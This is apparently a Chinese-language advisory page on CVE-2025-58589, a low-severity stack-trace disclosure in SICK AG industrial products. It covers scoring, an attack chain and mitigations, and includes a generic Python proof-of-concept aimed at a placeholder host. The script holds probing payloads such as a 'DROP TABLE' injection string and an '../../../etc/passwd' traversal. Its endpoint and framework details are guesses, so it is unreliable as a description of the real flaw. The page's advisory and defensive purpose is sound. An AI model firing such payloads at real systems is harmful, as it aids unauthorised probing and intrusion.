IPBUF安全漏洞报告
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CVE-2025-58589 CVSS 2.7 低危

CVE-2025-58589 SICK产品错误信息堆栈跟踪泄露漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-58589
漏洞类型
信息泄露(堆栈跟踪泄露)
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SICK AG 工业自动化产品

相关标签

信息泄露堆栈跟踪泄露错误处理缺陷SICK工业自动化ICSCVE-2025-58589低危漏洞CVSS-2.7

漏洞概述

CVE-2025-58589是SICK AG公司工业自动化产品中发现的一个信息泄露漏洞,由SICK产品安全事件响应团队([email protected])发现并报告。该漏洞的CVSS 3.1评分为2.7分,严重等级为LOW(低危)。该漏洞的核心问题在于应用程序在发生错误时,会将完整的堆栈跟踪信息(full stacktrace)直接返回给用户。堆栈跟踪信息中包含了应用程序内部的类名、方法名以及其他内部实现细节。这些信息虽然不会直接导致系统被攻陷,但会向潜在攻击者泄露应用程序所使用的技术栈、代码结构以及内部逻辑等敏感信息。攻击者可以利用这些信息进行更有针对性的后续攻击,例如识别已知的框架漏洞、规划攻击路径、了解系统架构等。该漏洞的利用条件要求攻击者具有高权限(PR:H),且通过网络(AV:N)进行攻击,无需用户交互(UI:N),对机密性产生低影响(C:L),对完整性和可用性无影响。SICK公司作为工业传感器和安全解决方案的领先供应商,其产品广泛应用于工业自动化、过程控制、工厂自动化等领域,因此该漏洞可能影响使用SICK产品的工业环境。SICK已通过其安全公告系统(sca-2025-0010)发布了相关信息,建议用户及时关注并采取相应的防护措施。

技术细节

该漏洞属于典型的错误处理信息泄露漏洞(Improper Error Handling)。在正常的应用程序设计中,当程序发生未捕获的异常或错误时,应当向最终用户返回友好的错误页面或通用错误消息,而将详细的错误信息(如堆栈跟踪)记录到服务器端日志中供开发人员排查问题。然而,受影响的SICK产品在错误处理方面存在缺陷,当应用程序抛出异常时,完整的堆栈跟踪信息被直接暴露给客户端。

从技术层面分析,堆栈跟踪信息通常包含以下敏感内容:1)应用程序使用的编程语言和框架版本信息(如Java的Spring框架、Python的Django等);2)应用程序内部的类名、方法名和包结构,泄露代码组织方式;3)文件路径信息,可能暴露服务器文件系统结构;4)数据库查询语句或SQL片段,泄露数据访问逻辑;5)配置信息,如服务器环境变量或内部参数。

攻击利用方式如下:攻击者首先需要拥有系统的高权限账户(PR:H),然后通过构造特定的恶意请求或输入,触发应用程序的异常处理流程。当异常被触发后,应用程序将堆栈跟踪信息返回给攻击者。攻击者通过分析这些信息,可以了解应用程序的技术栈细节,识别可能存在的已知漏洞,为后续攻击(如远程代码执行、权限提升等)做准备。虽然该漏洞本身仅造成低危的信息泄露影响,但其所泄露的信息可能成为更复杂攻击链中的关键一环。

攻击链分析

STEP 1
步骤1:获取高权限访问
攻击者首先需要通过合法或其他方式获取目标SICK产品系统的高权限账户访问凭据(PR:H),因为该漏洞的利用需要高权限认证。
STEP 2
步骤2:构造恶意请求
攻击者通过分析目标应用程序的接口,构造可能导致异常的恶意请求,如畸形输入、类型混淆、超长数据、特殊字符等,以触发应用程序的错误处理流程。
STEP 3
步骤3:触发异常并获取堆栈跟踪
将构造好的恶意请求发送至目标服务器,应用程序在处理异常时未能正确过滤错误信息,将包含类名、方法名、文件路径等敏感信息的完整堆栈跟踪返回给攻击者。
STEP 4
步骤4:信息收集与分析
攻击者对获取的堆栈跟踪信息进行分析,提取应用程序使用的技术栈版本、内部类结构、文件路径、数据库类型等关键情报信息。
STEP 5
步骤5:规划后续攻击
基于泄露的信息,攻击者可以识别已知框架漏洞,针对性地搜索相关CVE,制定更精确的攻击计划,为后续的权限提升、远程代码执行等更深层次的攻击做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58589 PoC - SICK Product Stack Trace Information Disclosure # This PoC demonstrates how to trigger error conditions to obtain stack trace information import requests import json # Target configuration TARGET_URL = "https://target-sick-product.example.com/api/endpoint" AUTH_TOKEN = "authenticated_session_token" # Requires high privilege (PR:H) # Headers with authentication headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher/1.0)" } def trigger_stack_trace_disclosure(url, headers): """ Attempt to trigger application errors that may reveal stack traces. Various malformed requests are sent to provoke exception handling. """ payloads = [ # Malformed JSON payload {"data": "{{invalid_json"}, # Null pointer trigger {"parameter": None, "action": "process"}, # Type confusion {"id": {"nested": "object"}, "expected": "integer"}, # Buffer overflow attempt {"input": "A" * 10000}, # SQL injection-like payload to trigger DB error {"query": "'; DROP TABLE--"}, # Path traversal to trigger file not found {"file": "../../../etc/passwd"}, ] for i, payload in enumerate(payloads): print(f"\n[*] Attempt {i+1}: Sending payload to trigger error...") try: response = requests.post(url, headers=headers, json=payload, timeout=10) # Check if response contains stack trace indicators stack_indicators = [ "Exception", "Traceback", "at line", ".java:", ".py:", "Stack trace", "Caused by:", "at com.sick.", "at org.springframework." ] for indicator in stack_indicators: if indicator.lower() in response.text.lower(): print(f"[+] Stack trace detected! Indicator: {indicator}") print(f"[+] Response excerpt:\n{response.text[:2000]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] No stack trace disclosure detected") return None def analyze_disclosed_info(stack_trace): """ Analyze the disclosed stack trace for sensitive information. """ if not stack_trace: return print("\n[*] Analyzing disclosed information...") sensitive_patterns = { "Framework": ["springframework", "django", "flask", "struts", "tomcat"], "Database": ["mysql", "postgresql", "oracle", "hibernate", "jdbc"], "File Paths": ["/opt/", "/var/", "C:\\\\", "/home/"], "Class Names": ["com.sick.", "de.sick.", "sick.ag."], "Version Info": ["version", "v1.", "v2.", "build"] } for category, patterns in sensitive_patterns.items(): for pattern in patterns: if pattern.lower() in stack_trace.lower(): print(f"[+] Detected {category}: {pattern}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-58589 - Stack Trace Information Disclosure PoC") print("Affected: SICK AG Industrial Products") print("CVSS: 2.7 (LOW)") print("=" * 60) result = trigger_stack_trace_disclosure(TARGET_URL, headers) if result: analyze_disclosed_info(result)

影响范围

SICK AG 相关产品(具体版本请参考官方安全公告 sca-2025-0010)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在反向代理或Web服务器层面配置错误页面重定向,将所有应用层错误统一重定向到通用错误页面;2)启用Web应用防火墙(WAF)规则,过滤响应中包含异常堆栈特征(如Exception、Traceback、at com.等关键字)的内容;3)审查并修改应用程序的异常处理代码,确保生产环境中不向客户端返回堆栈跟踪信息;4)限制对应用程序管理接口的访问,仅允许可信IP地址访问;5)加强账户管理和访问控制,限制高权限账户的分发和使用;6)监控异常请求模式,及时发现可能的探测行为。

参考链接

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